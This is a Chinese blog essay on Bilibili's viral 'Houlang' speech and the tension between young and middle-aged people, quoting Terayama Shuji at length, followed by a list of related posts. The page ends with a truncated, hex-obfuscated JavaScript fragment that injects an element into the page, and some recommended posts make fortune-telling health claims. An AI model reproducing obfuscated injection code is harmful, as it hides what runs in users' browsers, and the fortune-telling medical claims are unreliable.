首页 / 韦三水 / B站的浪里个浪:胸怀大屁股的年轻人与自嗨小药丸的中年人

B站的浪里个浪:胸怀大屁股的年轻人与自嗨小药丸的中年人

韦三水 2020-05-04 16:01

B站的演讲被刷屏了,火得一塌糊涂。作为中年人的何冰,却站在了作为年轻人桀骜不驯与活力青春之象征的B站之旗帜下,用意不言自明,就是“俘获中年人”——容易感怀逝去的青春并被煽情打动的一个群体。

水哥还真是B站的注册用户,只不过是在去年底今年初搞的,因为女儿是B站的“爱好者”,她喜欢漫画和创作漫画,所以就经常在B站上晃荡。她注册的相当早,那个时候,B站还没家长们视为洪水猛兽。哪想到今天的B站却摇身一变,成了青年人的励志典型了。真可谓:中年人刷屏B站,年轻人则浪里个浪,后浪撩前浪,一浪高一浪。

嗯,口说无凭,截图奉上——水哥尽管是level1,但作为中年人的水哥,毕竟还是触电了B站:

接下来,水哥说说对B站演讲刷屏事件的个人看法哈——一家之言,不喜勿愤:

第一,基本都是中老年人才如此膜拜青春,死去活来的,所以,一夜之间B站成了刷屏的主角,好大一碗的鸡汤,这是拜中老年人所赐。估计没几个中老年人真的玩B站吧。

第二,被刷屏的B站,与其是一种物像,还不如说是集体又一次对青春的幻象的追映,其实更是失落的一代代人的一种借势假说,因为一切都回不去了。

第三,作为当初被家长们提防的洪水猛兽的B站,如今来个“大变身”,感动了一大把的中年人,就差眼泪流出来了。这无可厚非,表现出来的宣讲依旧没有超脱出我们一贯的宏大叙事之风,宏大与激情能带来感动与狂热,但“激情之后容易再现怯懦”。七零代生人有诗歌与文学的世界。八零代生人有谷歌与互联的世界。九零代生人与零零代生人有手机屏幕的世界……“世界”实际上在一步步变小。

第四,如前所述,女儿是B站的“玩家”,我刚问她,你看B站的演讲了吗?她说,没有,有什么可看的…如果说小孩是大人的父亲,那么青年就是所有人的老师。因为,孩子和青年就是希望之光。

第五,世界摇晃与时代焦虑之下,治愈人心尤其是中老年人的小药丸就是青春的煽情与狂热,他们可以在想象与追忆中生出新的幻象或希望。作为演员的何冰与作为年轻人舞台的B站,与一篇宏大叙事的话术,构成了一个几近完美的“剧本”,而用这个“剧本”站在镁光灯下的“表演者”反而不是作为后浪的年轻人,而是作为前浪的中年人。

也难怪一位朋友在朋友圈里这样评论,《后浪》那个视频最大的问题是:混淆了科技进步和社会进步的不同。科技进步只是社会进步的一部分而已,有时候科技进步甚至会带来社会的退步。至于是不是故意混淆,每个人心里自有判断。但有一点可以肯定,赞美后浪的前浪们在收割后浪上是绝对不会手软的。

是的,我们又迎来了一个五四青年节。青年人让我们想到“希望”二字。不仅仅因为他们有青春,有梦想,有活力。而且还因为他们有着始终向上的精神和动力。这种力量是潮气蓬勃的,是欢腾喜悦的,是积极乐观的。

一个时代总有一个时代的精神和气魄,一个时代的人们不是担起时代变革的重负,便是在压力之下死于荒野。我们不能无视世界的摇晃以及国际风云的泰山压顶,我们更不能无视狂热、无知以及新的铁幕可能带给我们更大的危机。这个时候,我们更需要一种悲剧意识。

上百年来,中华民族进程中,悲剧成为一种社会氛围,成为一种精神氛围,并且在这样的氛围下,中华民族才重新认识着自身历史,重新认识自身以外的一切,重新认识自己所处的危机时代,并且构成了保护自己、发展自己、创造自己的一种动力,实现了对民族自身的时代重构。

我们在关注科技发展以及为数字化浪潮沾沾自喜的同时,更需要在回溯历史中警惕悲剧重演,让中华民族在新的历史时期以及世界惊涛骇浪般的巨变中始终锚点继续前行的方向,怀揣反思与敬畏,保有生机与活力。韶华易逝,思想不死。青春在让我们热血沸腾的同时,更要有思想之光。

这一束光,就来自于现实的观照和寻觅,以及我们对自身的重新认知与看见。与科技的进步相比,人文的进步更加显得紧迫。

(相关阅读链接:面包与美梦:“群氓之症”与“爆炸渗流”)

B站刷屏以及热议的背后,实则是中年人与年轻人之间的“暗战”——年轻人胸怀大屁股,而同时很容易对中老年人生厌。之前水哥就专门写过这样的文字,此时此刻,再应景不过。

曾有一朋友说,旅途中偶遇一年轻女子通电话,大声地说:“什么情况?!70后的这一批都已经那么老了,还谈什么条件啊,我早就想干掉他们了,拿掉!全部拿掉!”

年轻人,好霸道。

其实,瞧不起中老年人的,又何止是这个年轻女人!一个叫寺山修司的家伙,也似乎如此。他说,年轻人的“好处”是胸怀大屁股。

对,胸怀大屁股。为此,他还特意写了一篇这样的文章。对了,寺山修司是日本诗人、小说家、剧作家、导演、赌马评论人。被称为怪杰、幻想家、反叛文化旗手、前卫艺术家。

年轻人因此,才春心荡漾,才性情澎湃,才有欲望。但年轻人对中年人的态度是复杂的。寺山修司这样写道:

一天在咖啡馆里,只见有个小年轻正无精打采地听着查尔斯·明格斯的《猪叫布鲁斯》。

我问他:“你干吗这么无精打采的呀?”

“我女朋友被人抢走了。”

“谁抢走的?”我紧追不放地接着问道。

“我们公司的主任。主任请她去夜总会,在那儿吃完饭又把她带到旅馆里,她就直接缴械了。”

“那个主任多大岁数?”

“四十六了。”

“哎——?”真是不可思议,二十岁的小年轻竟然被四十六岁的老男人抢走了女朋友,怎么会有这种事?

“你有强健的内脏器官与肾上腺荷尔蒙。还有旺盛的精力。”

即使不服用蜂皇浆和壮父精,充沛的体力也足以轻而易举地满足恋人的欲求。当然,如果还觉得信心不足的话,不是还有胜过四十多岁男子的情趣,不是还有诗吗?

“怎么竟然会被他抢走了呢?”

听了我的问话,他的头垂得更低,喃喃答道:“我自己也搞不明白怎么会出这种事。”

寺山修司似乎还不解恨,他用自己的笔继续写道:

这个漂亮的女孩有着一双安·玛格丽特那样水灵灵的大眼睛。以下是她的自白:

“我男朋友是个乐手,他长得挺帅,就是没什么钱……而且将来怎么样也是个未知数。

“所以我才会狠下心跟现在这个西服公司的董事长交往起来。起初还只是打算在他那儿打点零工。

“可是,女人嘛,就是没办法啊。跟董事长这么一来二去的,不知不觉之间,他那套温柔的床上功夫我想忘也忘不掉了。这一来,再跟男朋友约会已经变成了一种痛苦。”

这样的例子多得数不胜数。实际上,或许正是这些与球相关的“喜剧”,才是现代青年生活最实在的状况吧。

功名利禄,金钱美女,似乎都是中老年人的“囊中之物”了。殊不知,其实,中老年人恰恰活的如丧家之后一样,诚惶诚恐,已经上不着天下不着地了。

要不网上如此流行这样的话:你可以像骂孙子一样骂那些中年老男人们,他们有家有室供养生活,绝不会和你翻脸;相反,要对年轻人好一点,否则一言不合就”去你妈的“了。

呵呵,年轻人,胸怀大屁股。呵呵,年老人,色衰没脾气。

但什么是老人每天的生活?寺山修司说他思考着。他说,青年们被这些老人掌握了政治主导权,而且连自己性的主导权也在逐渐受到侵犯。他们只能躲避到民谣里去绝望地吟唱:

今儿个的活计

又很辛苦,

下了班后只能

再灌烧酒。

这歌声让人听了觉得简直像是处在“没有未来的世界”里。在这种现况下,年轻人如果不为了冲破障碍而去琢磨老人们为什么如此仗势妄为,不就是白活了吗?寺山修司继续写道:

“不,不光是这个原因,”青年们反驳道,“还有金钱的原因呢。”

“金钱?”我反问道。

“对,对呀!因为上了年纪的人都是有钱的嘛。”

英国“愤怒的青年”之一约翰·布莱恩的小说《金屋泪》中有段这样的描写:

女:“乔,你真的爱我吗?”

男:“这你不是知道的嘛。”

女:“你有多爱我?”

男:“值十万英镑。”说完他又重复了一遍:“换算成钱,值十万英镑。”

……于是,这个男人与拥有十万英镑财产的这个女人结婚了。

青年在财力上是难以与中老年人比肩的。对此心知肚明的老人们甚至想要用金钱把性交也买断。而那些精力充沛的青年上初中时就坐着比赛过“谁的精液射得远”,如今却被老人夺走了自己的恋人,实在令人匪夷所思。看来这种现象至少不能说是符合自然规律的。

但年轻人的“胸怀大屁股”的青春与活力,让中老年人艳羡不已,因为他们已经回不去了。

年轻人胸怀大屁股这句话既不是克拉克先生的教诲,也不是印错了字。这正是寺山修司的劝告。他说,如果年轻人为了求得微不足道的幸福——区区两房一厅和稳定的工作,就去对老年人溜须拍马,其实是会被人看不起的。

年轻人如果不舍弃这种“安全的彩票”而去寻求“危险的彩票”,就不可能实现一攫千金的理想。“胸怀大屁股!”并不仅仅是字面上“胸怀有魅力的女性”的意思,而是希望你们必须有更大、更大的性复兴梦想。

年轻人需要霸道,需要占领他们本该在的阵地。这是寺山修司的意见。中老年人呢,又能怎么样呢?

其实,攫取到金钱,俘获住美女的,都是极少数的权贵者,要么是”王老爹“,要么是“强子哥”。当然,还有不一而足的“雷老虎”们,哪怕是仅仅三秒钟也无所谓。

而大多数的中年人和老年人,都是丧家之狗而已,为生活已经惶惶不可终日。甚至,已经是人到中年不如狗了。

只不过,谁人又没有胸怀大屁股的时候呢?你貌美如花,我风流倜傥,怎奈岁月如梭,白云苍狗。

很快,嘲讽中老年人的年轻人,也色衰无力变成中老年人了。年龄是把杀猪刀,我们每个人,都是刀下之猪。

一时间还没被“宰”的猪,或许也只有那么几头而已。其他的,都是猪,千万别谁瞧不起谁,都是一个样儿:死猪样!

按佛家的话说,都是一副“臭皮囊”。呵呵,阿弥陀佛。

当然,还有一位智者说:少活点。因为,人,活的越老,就会越邪恶。

天哪?是这样子吗?其实,是这样的:人活的越老,经历的邪恶也就越多了,所以也就容易变得邪恶了。所以,也才有了“老不死的”、“为老不尊”,等等。

如此说来,孩童最无邪。做回孩子,当真好好。

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();